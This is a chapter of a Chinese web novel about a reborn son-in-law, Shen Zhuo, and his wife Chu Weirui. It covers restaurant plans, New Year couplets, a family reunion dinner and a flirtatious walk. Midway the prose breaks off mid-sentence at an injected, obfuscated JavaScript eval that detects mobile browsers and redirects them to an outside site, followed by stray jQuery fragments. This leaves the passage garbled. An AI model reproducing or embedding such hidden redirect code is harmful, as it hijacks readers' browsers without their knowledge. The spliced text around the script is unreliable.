18. 除夕

作品:《赘婿他好像看上我了(重生)

    鼻尖萦绕着果香和茶香,酸、甜、微苦三种味道融合在一起,恰到好处。


    沈濯第一次喝,不是很习惯,轻轻皱眉。


    楚葳蕤看见,原本弯弯的嘴角拉平,“不喜欢吗?”


    “喜欢。”沈濯浅笑,为了证明自己说的是真话,又伸手倒了一杯。


    “那就好。”


    “小姐,怎么光问姑爷不问我们呢?”


    楚葳蕤:“你们还敢说不好喝?”


    众人七嘴八舌,冬青还提议把果茶放在至味楼卖。


    “咦,这倒是个好主意。”


    沈濯插话:“我很早就想说,你有很多新奇的点子,这些饮食在至味楼一开始会卖得不错。可你把配方都透露给掌柜和厨房的师傅们,若他们另起炉灶,于至味楼有害无益。”


    春夏秋冬大眼瞪小眼,等着楚葳蕤让他们四人出去。


    楚葳蕤起身,引着沈濯在塌上坐下,才道:“沈濯,我们只是暂时接手至味楼。”


    沈濯被“暂时”二字拨动心弦。


    “我的目标是接下爹爹手里所有的生意,至味楼只是冰山一角,我不可能一直待在金陵盯着他们做饭。”


    沈濯表示赞同。


    “你说的事情,我们可以通过立字据解决,若将配方透露出去,他们就得赔钱。”


    在楚葳蕤穿过来前的地方,这东西叫《保密协议》。


    沈濯领会后,一针见血地问:“若另起炉灶的利润足够大,他们宁可赔你一些钱也要用你的配方呢?”


    “这就是我现在还不需要他们立字据的原因,我能琢磨出来的东西,有经验的厨师多尝尝就能将配方猜出来,没什么必要。”


    楚葳蕤胸有成竹,“你觉得开酒楼最重要的是什么?”


    沈濯不假思索:“厨师。”


    “可说是,也可说不是。”


    像珍馐阁和至味楼这样传统的酒楼,厨师是稀缺资源;但楚葳蕤穿越前的连锁餐饮,最重要的其实是商标和供应链。


    “是口碑和食材供应。”


    沈濯一时不太理解。


    “这么说吧,如果所有佳肴的做法都被公开,只要努力钻研,每个人都能做出这些菜。这时候,酒楼能靠什么赚钱?”


    沈濯一点就透,“口碑越好,食客越多。食材越便宜,酒楼的利润越高。”


    “聪明!就是这个意思。”


    楚葳蕤眼睛发亮,沈濯身上的优点,远比她当初决定成婚时认为的多。


    这实在令人欣喜!


    “所以等你实现了之前提到的提成制度和推陈出新,接下来就是去寻找便宜的食材?”


    “也可以同时进行,”楚葳蕤看向自己的“合伙人”,说:“若你有空,可以在城郊走走,或许能找到便宜的货源?”


    这项任务比起沈濯曾经接手的贸易算是小巫见大巫,沈濯干脆地答应下来。


    楚葳蕤见沈濯自信笃定的模样,觉得他着实可靠。


    沈濯没注意楚葳蕤欣赏的目光,只是想:难道楚葳蕤当真是天才?


    楚葳蕤新婚,家中很多红色的装饰还没撤下来,除夕这日李氏让人将贴着“喜”字窗花的地方换成了“福”字,又将各间屋子上原本的春联换成新的。


    楚葳蕤的字端正秀气,却少些风骨,问过沈濯后,澄心堂的春联便交给了沈濯。


    澄心堂的春联一向由主仆三人一人提一副再票选,只不过这次增至六人。


    楚葳蕤看着已有四人投票的纸条,摸了摸发烫的面颊,将纸条给沈濯。


    “咱俩不用投了,你写吧。”


    夏竹难得调皮,“这可不行,说好每人一票,虽然小姐姑爷这两票决定不了结果,但也得投呢。”


    沈濯右手握成拳,放在嘴边清了清嗓,低声道:“我也投这幅。”


    楚葳蕤见他如此,破罐子破摔道:“我也投它行了吧,全票通过。沈濯你写吧。”


    沈濯用了最不出错的楷书,羊毫笔行云流水地划过纸面,一副对联一气呵成。


    上联:花好月圆琴瑟和鸣家宅睦。


    下联:海晏河清山河锦绣寰宇安。


    横批:风和日丽。


    楚葳蕤吩咐几人贴上,春夏秋冬笑闹着出去了。


    她回过头,见沈濯心情低落,正在书桌前发呆。


    “可是想家人了?”


    沈濯倏然抬眸,除了讶异,还有没来得及藏起来的防备。


    楚葳蕤想说,若你家人有冤情,我支持你替他们报仇,若没有冤情,不如就此放下。


    可今日是除夕,聊这些未免太沉重。


    “沈濯,不知道未来你是否会遇到自己喜欢的姑娘。若以后事了,你同其他人成亲,不介意的话,可以把我们当成你的亲人。”


    这些日子的相处,楚葳蕤能感觉到沈濯对爹爹是有对长辈的孺慕之情的,她不介意让沈濯分去些许父爱。


    虽然此时的她还没有领悟自己如此“大度”的根本缘由。


    沈濯的防备收了回去,他挤出不好看的笑,说了声“谢谢”。


    “你要自己待会儿吗?我先去瑞福堂。”


    沈濯起身:“不必。一道去吧。”


    沉湎过去毫无意义,他也不想放任自己在那样的情绪中。


    楚怀济和李氏都穿了宝蓝色的衣裳,两人端坐在瑞福堂正厅的主位上,有说有笑,有多年生活形成的默契。


    楚葳蕤绯红色的外袍下露出藕荷色的裙摆,外袍上用苏绣的手法点缀着腊梅。沈濯与楚葳蕤并肩而行,身上仍是天青色的长衫,这已经是他能够接受的最艳丽的颜色了。


    二人行了礼,夏竹将节礼的册子还给于嬷嬷。


    “看得这么快?”李氏见楚怀济也在,好心道:“可有不明白的地方。”


    “我还没亲自处理这些,也看不出明白不明白的。昨日只讲账册誊抄了一遍,以后若真遇上事儿不懂,我再来问母亲。”


    其实账册除了记录礼品收支,还可看出各家掌柜的喜好,譬如有喜欢金银的、有喜欢笔墨的、亦或是茶叶酒水的。


    不过依楚葳蕤的方式重新誊抄之后,哪家掌柜喜欢什么一目了然。


    他二人来之前,楚怀济就跟李氏感叹过沈濯的天赋,李氏只好咬着后槽牙夸奖沈濯,庆幸楚葳蕤好歹正常些。


    楚葳蕤他们在澄心堂贴春联耽误了些时间,几人叙了会儿话,就到了午膳时间。


    楚怀济是孤儿,同楚葳蕤的生母钟雁一同在慈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392876|183356||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幼局长大。比起别家的团圆饭,四人的团圆饭着实冷清。


    好在楚怀济父女对尊卑不看重,每年的团圆饭会摆几桌给下人们一起吃。


    今年比较不一样的是婚宴中备受好评的烤全羊被纳入了菜单,楚怀济也想贡献一道菜,便把羊肉汤锅给加了进去。


    两道大菜被安置在花园正中,楚葳蕤下意识瞥了一眼沈濯,沈濯脸色精彩极了。


    其他人可顾不了这么多,热闹地交流起来,其中不乏对楚怀济的称赞之言。


    厨房的许师傅当初看楚葳蕤腌制一遍羊腿,又凭借经验略微调整了调料用量,加之其对火候的控制,除夕的烤全羊和喜宴时相比也毫不逊色。


    口感鲜嫩,咸淡适当。


    楚葳蕤连吃三块烤羊排,沈濯递给她一盏茶,劝道:“再多就该上火了。”


    不知这羊肉从哪里买来的,竟一点腥膻味都没有。楚葳蕤又要去盛羊汤。


    沈濯抢过汤勺,给她舀了好多萝卜。


    楚葳蕤:……


    李氏开口:“沈濯,晌午让蕊蕊多吃些羊肉也无妨。下午让他们泡些菊花茶来降火。”


    沈濯“嗯”了一声。


    楚怀济解围:“沈濯也是好心嘛。我看蕊蕊就是太馋,有沈濯在一旁提醒着,我放心多了。”


    楚葳蕤给沈濯舀了好多羊肉,咬牙道:“看你没怎么吃,你多吃点哈。”


    怕自己像上次一样唐突了楚葳蕤的沈濯:……


    “我怎么瞧他俩有什么小秘密。”楚怀济凑近李氏低声八卦。


    “既是小秘密,怎么会让你知道?”


    “也对。”


    除了羊肉,团圆饭还安排了清蒸鲈鱼、清炒大虾、盐焗鸡……


    楚葳蕤大块朵颐,不意外地,吃撑了。


    楚怀济见怪不怪:“你同沈濯去散散步,我和你母亲得午睡一个时辰。”


    楚家的规矩,除夕无尊卑。


    家中下人还在吃,楚葳蕤也不叫春夏秋冬,和沈濯两人一道在园中闲逛。


    沈濯走在楚葳蕤身后,思绪流转——


    重生后的这几个月,相较前世,沈濯不可否认自己放松许多。


    一方面他不再囿于仇恨却毫无头绪;一方面便要感谢眼前的楚葳蕤。


    她太不同了。


    若说前世的楚葳蕤是骄纵跋扈但内里空洞的草包,眼前的楚葳蕤则是面上不谙世事实则胸中有丘壑的人才。


    两世以来,楚葳蕤唯一不变的便是——孟浪!


    楚葳蕤见沈濯走在身后一声不吭,主动搭话:“沈濯,你喜欢什么样的姑娘?”


    沈濯想:她果然还是忍不住问出口了,如我之见,想来觊觎我很久了吧。


    楚葳蕤两只手背在身后,回廊在远处回折,露出一旁红色的梅花。楚葳蕤眼睛注视着沈濯,等着他的回答。


    沈濯回视对方的眼睛,一瞬便闪躲似的挪开眼。


    他看着远处红梅,回答:“矜持的。”


    楚葳蕤噙着笑意,不退反进,凑到离沈濯半步的位置。


    “你喜欢矜持的?噗——你也矜持,她也矜持,你们怎么才谈得上恋爱?”


    沈濯忽然见到楚葳蕤放大的脸,骤然瞪大了眼。